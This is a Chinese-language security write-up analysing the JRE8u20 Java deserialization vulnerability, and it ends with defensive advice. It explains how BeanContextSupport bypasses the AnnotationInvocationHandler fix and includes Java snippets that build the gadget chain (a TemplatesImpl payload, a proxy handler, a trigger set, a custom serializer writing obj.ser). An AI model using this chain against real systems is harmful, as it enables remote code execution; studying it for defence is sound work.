JRE8u20 反序列化
字数 1540 2025-08-26 22:11:57
JRE8u20 反序列化漏洞分析与利用
概述
JRE8u20 反序列化漏洞结合了 JDK7u21 的构造原理,并通过 BeanContextSupport 类反序列化对异常的捕获,绕过了 AnnotationInvocationHandler 反序列化的修复。该漏洞涉及以下关键知识点:
- Java 序列化和反序列化机制
- Java 反射机制
- 动态代理技术
- 异常处理机制
- 对象引用机制
漏洞背景
JDK7u21 漏洞修复
在 JDK1.8.0_20 中,对 AnnotationInvocationHandler 类的反序列化进行了修复:
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
当 this.type 字段不是 Annotation 类型时(如设置为 Templates.class),会抛出异常,导致反序列化失败。
JRE8u20 绕过思路
JRE8u20 利用以下关键点绕过修复:
- 序列化引用机制:Java 序列化时会为每个对象分配 handle,重复对象会写入引用而非完整对象
- 异常捕获:寻找能捕获 AnnotationInvocationHandler 异常并继续执行的类
- 引用利用:让 HashSet 的 readObject 方法直接读取 AnnotationInvocationHandler 对象的引用
关键技术点
寻找合适的类
需要满足以下条件的类:
- 实现 Serializable 接口
- 重写了 readObject 方法
- readObject 方法中调用了其他对象的 readObject 并捕获异常继续执行
JRE8u20 中使用的是 java.beans.beancontext.BeanContextSupport 类,其关键代码如下:
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
BeanContextSupport 类分析
BeanContextSupport 类的反序列化流程:
- 调用默认反序列化方法
ois.defaultReadObject() - 初始化字段
- 当
serializable > 0且this.equals(getBeanContextPeer())时调用readChildren方法 - 反序列化监听器列表
序列化构造要点
构造恶意序列化数据时需要:
- 设置
serializable字段为 1 - 设置
beanContextChildPeer字段为当前对象 - 按特定顺序写入对象:
- 先写入
defaultWriteObject() - 然后写入
InvocationHandler对象 - 最后写入
bout.writeInt(0)
- 先写入
漏洞利用步骤
1. 准备恶意类
使用 TemplatesImpl 加载恶意字节码:
TemplatesImpl calc = JDK7u21.createTemplatesImpl("calc",
TemplatesImpl.class,
AbstractTranslet.class,
TransformerFactoryImpl.class);
2. 构造代理对象
HashMap map = new HashMap();
map.put("f5a5a608", "aaaa");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Templates.class, map);
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(
JDK7u21.class.getClassLoader(),
allIfaces,
tempHandler);
3. 构造触发集合
LinkedHashSet set = new LinkedHashSet();
set.add(calc);
set.add(templates);
4. 修改序列化流程
需要修改以下关键点:
- HashSet 类:构造假字段,类型为
BeanContextSupport - AnnotationInvocationHandler:设置
hasWriteObjectData为 true - writeSerialData 方法:根据类名定制序列化流程
- defaultWriteFields 方法:为假字段写入
BeanContextSupport对象
5. 生成恶意序列化数据
TCObjectOutputStream oos = new TCObjectOutputStream(
new FileOutputStream("obj.ser"));
oos.setTemplates(templates);
oos.setTemplatesImpl(calc);
oos.setInvocationHandler(tempHandler);
oos.setBeanContextSupport(bcs);
oos.setLhs(set);
oos.writeObject0(set);
防御措施
- 升级 JDK 到最新版本
- 使用安全的反序列化方式,如 JSON
- 实施输入验证和过滤
- 使用安全管理器限制反序列化操作
- 使用白名单机制控制可反序列化的类
参考资源
通过深入理解这些技术细节,安全研究人员可以更好地防御此类漏洞,同时也能够开发更有效的检测和利用工具。